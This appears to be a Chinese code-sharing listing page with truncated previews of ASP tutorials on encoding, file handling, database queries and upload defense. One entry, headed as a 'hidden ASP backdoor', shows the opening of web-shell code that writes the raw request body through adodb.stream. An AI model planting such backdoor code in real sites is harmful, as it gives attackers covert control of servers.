-
ASP防止图片木马上传的代码
ASP木马防御: 复制代码 代码如下: const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89...
作者:asdasdasd03-30 -
asp中文件与文件夹常用处理函数(文件后缀、创建文件等)
复制代码 代码如下:'===================================== '获得文件后缀 '===================================== Function Get_Filetxt(ByVal t0) Dim t1 IF Len(t0)<2 Or Instr(t0,".")=0 ...
作者:asdasdasd03-30 -
服务器XMLHTTP(Server XMLHTTP in ASP)基础知识
相对于 Ajax,服务端 XMLHTTP 就是在服务端使用 XMLHttpRequest 对象了。虽然说,在服务端使用异步请求是比较不方便的,但是做为可以服务端发送 HTTP 请求的组件,学习一下也是没有坏处的。 这里...
作者:asdasdasd03-30 -
ASP codepage 页面编码使用说明
指定的代码页特性无效。 codepage属性:是指出网页的代码页 如果制作的网页脚本与WEB服务端的默认代码页不同,则必须指明代码页: 复制代码 代码如下: codepage=936 简体中文GBK codepage=950 繁...
作者:asdasdasd03-30 -
asp空间判断jmail组件是否安装或支持的代码
首先,必须有错误继续进行的声明On Error Resume Next 然后尝试简历jmail实例: Dim JMail Set JMail=Server.CreateObject("JMail.Message") 对实例做出判断,如果组件没有安装成功,则没有创建...
作者:asdasdasd03-30 -
asp添加数据实现代码
举例: 如:在字段名处输入:username,password,email,telphone 注意:不同的字段名用英文逗号隔开,且不支持星号 表名处输入要查询的表名:如:table1 前台表单页面: 主要是注意input字段的name...
作者:asdasdasd03-30 -
asp中获取当前页面的地址与参数的函数代码
复制代码 代码如下:Function getCurrentUrl() On Error Resume Next Dim strTemp If LCase(Request.ServerVariables("HTTPS")) = "off" Then strTemp = "http://" Else strTemp = "https://" En...
作者:asdasdasd03-30 -
隐蔽的ASP后门 大家可以查看下
复制代码 代码如下: <%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a)...
作者:asdasdasd03-30 -
网站开发防止中文乱码需要了解的codepage的重要性小结
相关的题外话:
作者:asdasdasd03-30
一、操作系统window系统内部都是unicode的。文件夹名,文件名等都是unicode的,任何语言系统下都能正常显示。
二、输入法:微软拼音输出的是Unicode的,智能ABC输出是简体中文的... -
asp 删除数据库记录的代码
删除单条记录 复制代码 代码如下: id = saferequest("id") sql="delete from table1 where whereid>"&id&"" rs.open sql,conn,1,3 response.write "<script>alert('删除成功');location.href='d...
作者:asdasdasd03-30 -
ASP的URLDecode函数URLEncode解码函数
下面的代码是从kesion系统扒下的,确实不错,支持utf8格式。复制代码 代码如下:'================================================ '函数名:URLDecode '作 用:URL解码 '====================...
作者:asdasdasd03-30 -
ASP读取日期单日期自动补零函数代码
复制代码 代码如下: public function fillzero(l1) if len(l1)=1 then fillzero="0"&l1 else fillzero=l1 end if end function 用法示例: 复制代码 代码如下: response year(now)&month(now)&...
作者:asdasdasd03-30 -
asp(JavaScript)自动判断网页编码并转换的代码
完整的示例代码如下: 复制代码 代码如下: <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>JavaScr...
作者:asdasdasd03-30 -
set rs=server.CreateObject("adodb.recordset") 的中文详细说明
是建立一个数据集 前面应该先定义此数据集 dim rs as adodb.recordset 然后就可以用 set rs=server.CreateObject("adodb.recordset") 来建立一个数据集的实例,当然此时数据集中是没有数据的 rs...
作者:asdasdasd03-30 -
ASP下批量删除数据的两种方法
方法一: 复制代码 代码如下: id=request.form("checkbox") id=Split(id,",") shu=0 for i=0 to UBound(id) sql="select * from jiang_fname where id="&id(i) set rs=conn.execute(sql) if not...
作者:asdasdasd03-30 -
asp下通过HTTP_USER_AGENT判断用户是从手机上访问,还是电脑IE上访问
通过HTTP_USER_AGENT判断用户是从手机上访问,还是电脑IE上访问。 asp代码片段:主要使用了正则匹配手机环境,大家可以补充手机平台。 复制代码 代码如下: set regex = new regexp regex.ignore...
作者:asdasdasd03-30 -
ASP中使用Set ors=oConn.Execute()时获取记录数的方法
复制代码 代码如下: <% Dim oConn, ors, aRows Dim i,j Set oConn=Server.CreateObject("ADODB.Connection") oConn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("d...
作者:asdasdasd03-30 -
查看ASP详细错误提示信息的图文设置方法
经常遇到网站无法打开返回500错误提示,让人一筹莫展,那如何才能查看详细的错误提示,找到错误所在么?
作者:asdasdasd03-30
下面,我们以Windows XP为例
1.打开IE浏览器,在“工具”菜单中选择“Internet选项”效果... -
javascript增加干扰数据实现简单加密效果
复制代码 代码如下: var lishustr = "qwertyuiopasdfghjklmnbvcxz"; var s = lishustr.split(""); var lishua = ""; var lishub = ""; var lishuc = ""; var lishud = ""; lishua = s[getRandom...
作者:asdasdasd03-30 -
Ajax跨域代理访问网络资源的实现代码
smart.asp复制代码 代码如下:<script language="jscript" runat="server"> /* 在VBS里面的调用方法 dim myhttp set myhttp = SmartHttp(url,method,data); //三个参数均可选 属性: url:String...
作者:asdasdasd03-30 -
独立图片服务器的图片上传的解决方式
像一些大的网站,就将图片、CSS、JS、数据库都需要分开到不同的服务器上,为这些不同的服务器单独一个域名。这样不仅提高的访问速度,而且一台服务器坏了,不影响整个网站的打开。 这里介绍一下...
作者:asdasdasd03-30 -
ASP处理多关键词查询实例代码
程序代码: 复制代码 代码如下: '关键字的搜索 str="select * from tableName where id>4" if srhKey<>"" then keyArr=split(srhKey," ") j=UBound(keyArr) t=0 dim keystrArr() for i=0 to j i...
作者:asdasdasd03-30 -
asp中的rs.open与conn.execute的区别说明
rs.open sql,conn:如果sql是delete,update,insert则会返回一个关闭的记录集,在使用过程中不要来个rs.close在文件最后再写rs.close 中间可以来多个记录集rs1.open sql1,conn,最后一块关闭...
作者:asdasdasd03-30 -
asp google pr查询代码
复制代码 代码如下:<%@LANGUAGE="JAVASCRIPT"%> <title>Google PR值查询 asp程序</title> <% function hexdec(str) { return parseInt(str,16); } function zeroFill(a,b) { var z = hexdec(80...
作者:asdasdasd03-30 -
让ASP程序自动运行的代码
这要用到计划任务,首先假定你这个程序的地址为“http://1.0.0.8/a.asp”,那么你编辑如下内容: 复制代码 代码如下: Dim IE Set IE = CreateObject("InternetExplorer.Application") ie.naviga...
作者:asdasdasd03-30